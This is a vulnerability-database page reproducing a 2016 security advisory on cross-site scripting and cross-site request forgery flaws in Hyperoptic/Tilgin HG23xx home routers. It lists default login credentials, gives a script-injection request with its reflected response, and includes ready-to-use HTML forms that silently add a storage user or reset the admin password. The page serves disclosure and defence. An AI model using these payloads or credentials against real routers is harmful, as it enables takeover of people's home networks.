Lucene search
K

Hyperoptic (Tilgin) Router HG23xx Multiple XSS And CSRF Vulnerabilities

🗓️ 14 Jun 2016 00:00:00Reported by Gjoko KrsticType 
zeroscience
 zeroscience
🔗 www.zeroscience.mk👁 216 Views

Hyperoptic Router HG23xx XSS and CSRF Vulnerabilitie

Code
<html><body><p>Hyperoptic (Tilgin) Router HG23xx Multiple XSS And CSRF Vulnerabilities


Vendor: Hyperoptic Ltd. | Tilgin AB
Product web page: http://www.hyperoptic.com
                  http://www.tilgin.com
Affected version: HG2330, HG2302 and HG2301

Summary: Tilgin's HG23xx family of products offers a flexible and
high capacity product in a tiny form factor. When having the product
in your hands, do not get fooled by its mere size. The product offers
full gigabit routing and a state of the art superior WLAN solution.
It runs all services offered with Tilgin HGA and is prepared for all
foreseeable future services. The product is also offered in an entry
level version with fast Ethernet LAN ports, still with gigabit Ethernet
WAN. The routing capacity and excellent WLAN remains the same also on
this model, the only limit being the fast Ethernet LAN ports.

Desc: The application allows users to perform certain actions via HTTP
requests without performing any validity checks to verify the requests.
This can be exploited to perform certain actions with administrative
privileges if a logged-in user visits a malicious web site. XSS issues
were also discovered. The issue is triggered when input passed via multiple
POST and GET parameters are not properly sanitized before being returned
to the user. This can be exploited to execute arbitrary HTML and script
code in a user's browser session in context of an affected site.


Tested on: lighttpd/1.4.26-devel-166445
           lighttpd/1.4.26-devel-163573


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2016-5329
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2016-5329.php


11.05.2016

--



Default credentials:
--------------------

user/user
admin/admin
admin/abcd2301


XSS PoC:
--------

POST /advanced/firewall_templates/ HTTP/1.1
Host: 192.168.1.1

__form=new&amp;name=test"&gt;<script>prompt(1)</script>


Response:

[..snip..]
<input name="name" type="hidden" value="test"/><script>prompt(1)</script>"&gt;
[..snip..]



CSRF Add Storage (HTTP/SMB) User:
---------------------------------


  </p>
<form action="http://192.168.1.1/storage/users/" method="POST">
<input name="__form" type="hidden" value="new"/>
<input name="name" type="hidden" value="testuser"/>
<input name="password" type="hidden" value="testpass"/>
<input type="submit" value="Submit"/>
</form>
  




CSRF Change Admin Password:
---------------------------


  
    <form action="http://192.168.1.1/tools/admin_account/" method="POST">
<input name="__form" type="hidden" value="user"/>
<input name="name" type="hidden" value="admin"/>
<input name="password" type="hidden" value="NEWPASS"/>
<input type="submit" value="Submit"/>
</form>
</body></html>

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation